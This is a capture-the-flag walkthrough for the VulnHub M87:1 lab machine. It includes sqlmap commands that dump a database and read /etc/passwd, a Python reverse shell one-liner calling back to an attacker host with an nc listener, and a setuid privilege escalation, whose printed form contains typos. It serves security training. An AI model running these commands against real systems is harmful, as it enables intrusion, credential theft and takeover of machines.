Capture the flag (CTF)

M87 1: VulnHub Capture the flag walkthrough

Information shared in this article is intended for educational purposes only. Infosec and the author are not responsible for actions associated with the information shared in this article.

This VulnHub capture the flag (CTF) challenge is for beginners. This website is a great resource for those looking to learn hacking skills, and practice them, through a series of different challenges in a safe environment.

Please Note: For all these machines, I have used Oracle Virtual Box to run the downloaded machine. I am using Kali Linux as an attacker machine for solving this CTF. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

The steps

Follow these steps to finish the CTF:

• Getting the target machine's IP address by running the VM
• Getting open port details by using the Nmap tool
• Enumerating HTTP service with Dirb utility
• Dumping the DB by SQLMAP
• Taking the reverse shell

The walkthrough

Step 1

The first step to start solving any CTF is to identify the target machine's IP address. Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. For this CTF, however, we do not need to run "netdiscover" as the IP address was automatically assigned by the DHCP and visible on the login screen as follows. [CLICK IMAGES TO ENLARGE]

As we can see above, this is the welcome page. We can see that there is a URL provided along with the IP address of the target machine. In this case, we do not need to run "netdiscover" as the IP address will be automatically assigned and shared on the login screen. The target machine's IP address is 192.168.1.21 and we will be starting further enumeration on this IP in this article.

Please note, the target machine IP address may be different in your case as it is automatically assigned as per your network DHCP.

Step 2

The author has already given hint on the login screen that port 9090 is available and is being used to run the HTTP service.

We will now run a port scan to identify other open ports and services on the target machine, as it will help us get a better idea and complete information about all the entry points into the target machine.

For the port scanning process, we used the Nmap tool which is by default available in Kali Linux. The Nmap command and scan results can be seen in the below screenshot.

Command used: << nmap -Pn -p- 192.168.1.21 >>

In the Nmap command, we used the "-Pn" switch for conducting a no ping scan for a faster scan. We also used the "-p-" option for a full port scan. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. By default, Nmap conducts the scan only on known 1024 ports. So, it is especially important to conduct a full port scan during the pentest or solve the CTF for maximum results.

The scan identified three open ports on the target machine. Port 80 and 9090 are being used for HTTP service and port 22 is the SSH port.

Step 3

Let’s start with HTTP port 9090 as the "zeus admin" panel is being run through this port. I opened the IP on the browser to access the target application, which can be seen in the following screenshot.

As we can see above, there is a login page that is used to login into the target machine. I tried a few common usernames and password combinations, but could not find a way in. Another noticeable detail we found on the login page is that the server user credentials would be required on this page. Let’s move on and try our luck with the other HTTP port, port 80.

The target application running through this port can be seen in the screenshot below.

As we can see above, this is another login page and we need to enter valid credentials to access the application. I tried a few common usernames and passwords, but none of them would work. I decided to conduct further enumeration to identify the availability of default files and folders on the target application. I used the Dirb tool for this purpose: it brute-forces the target application for default and most commonly used files and utilities in web applications. The scan command and results can be seen in the below screenshot.

Command used: << dirb http://192.168.1.21 >>

In the Dirb results, we found a few interesting directories: "assets," "admin" and "backup." Let’s open these directories in the browser and explore further possibilities. In the following screenshot, we can see the "admin" directory in the browser window.

We found another login in the admin directory. Again, I first tried a few default credentials, but none of them worked. I attempted to find SQL injection and authentication bypass vulnerabilities, but none of them could be found. After this, I moved on to the other directory, "backup," which can be seen in the following screenshot.

As we can see above, we found another login page. As before, I tried a few default credentials and explored ways to find other vulnerabilities such as SQL injection, but nothing seemed to be working. At this point, I recalled that the author has given "fuzzing" as a hint. So, I performed parameter fuzzing on this page and found the "id" parameter was vulnerable to SQL injection. We can see the SQL injection error in the below screenshot, which confirmed that the parameter is vulnerable.

We added the single quote in the URL which gives the SQL error. In the next step, we will be exploiting SQL injection vulnerability.

Step 4

As we know, there are multiple ways to exploit SQL injection, so I decided to download the complete database using this vulnerability for finding the login credentials. For this purpose, I conducted an SQLMAP scan on the vulnerable parameter. The SQLMAP command and output can be seen in the following screenshot.

Command used: << sqlmap -u http://192.168.1.21/admin/backup/?id=1 >>

As we can see, SQLMAP has confirmed the parameter is vulnerable to SQL injection. I tried to upload the shell using SQLMAP on the target machine but that was not uploaded. After that, I decided to dump the complete database.

Command used:

<< sqlmap -u http://192.168.1.21/admin/backup/?id=1 -D db --dump >>

In the above screenshot, we can see the database of the target application. Here, we have found a lot of usernames and passwords. The details were saved in cleartext which made it easier to use on various login pages that we have found on the target machine so far. However, the credentials could not provide us access to any of the logins.

So, I read the "etc/passwd" file using SQLMAP. The command can be seen in the following screenshot.

Command used:

<< sqlmap -u http://192.168.1.21/admin/backup/?id=1 –file-read /etc/passwd >>

As can be seen in the above screenshot, we have successfully download the /etc/passwd file from the target system. Let’s open this file to see its contents.

Command used: << cat etc_passwd >>

As we can see, the etc password file was successfully accessed through the SQL injection vulnerability. We found a username on the target machine and tried this username with all the passwords that were identified in the previous step on the login pages running through ports 80 and 9090.

This time the login was successful, and we got admin access to one of the login pages on port 9090. This can be seen in the screenshot below.

This login page is used to log in to the target machine server. We found a terminal functionality that could be run through the browser.

Through the terminal window, we can run direct commands on the target machine. I started with the "id" command to enumerate the current user information. After that, I started exploring various directories on the target machine and very soon found the first flag, seen below.

The first flag was named "local.txt" and could be found in the current directory. Now, as we know we are currently logged in as user "charlotte," but the goal of the CTF is to gain root access to the target machine. In the next step, we will take the reverse shell and try to get the root.

Step 5

Until now, we’ve been able to execute commands on the target system. So, to make the reverse connection, we used the python reverse shell command, which can be seen in the following screenshot.

Command used:

• << python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.22",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >>
• << nc -lvp 1234 >>

I used the reverse shell payload on the target machine terminal and configured NetCut on the attacker machine terminal. After running the reverse shell payload, I got access to the target machine.

We successfully got the limited shell access, and after that, I ran a few commands to gather the operating system and kernel information of the target machine. This can be seen in the following screenshot.

Command used:

• << cat /etc/issue >>
• << uname -a >>

I researched the web for some privilege escalation vulnerabilities but could not find any for the available versions. During further enumeration, we found that there is an older version of Python installed on the target machine, which had "setuid" functionality. So, I changed the current user privilege by setting the "uid" to "0." This can be seen below.

Command used:

• << python --version >>
• << /usr/bin/old -c ‘import os; os.stuid(0); os.system(“/bin/bash”)’ >>
• << id >>

The setuid command was successfully executed and it provided root access to the target machine. The same was verified by running the "id" command and the uid of the current user was changed to "0," which is for the root user.

The last step is to find and read the flag file. As mentioned by the author in the description of the CTF, there are only two flags in this CTF.

Command used: << cat /root/proof.txt >>

In the above screenshot, we can see the root flag. The root flag was named "proof.txt" and was found in the root directory on the target machine.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

This completes the challenge as we got the root access and also read both flags. Stay tuned for more CTF solutions.

 

Sources:

M87: 1, VulnHub (hyperlink this to M87 https://www.vulnhub.com/entry/m87-1,595/)

M87: 1 (download), VulnHub (hyperlink this to M87 https://download.vulnhub.com/m87/m87.zip)

M87: 1 (torrent), VulnHub (hyperlink this to M87 https://download.vulnhub.com/m87/m87.zip.torrent)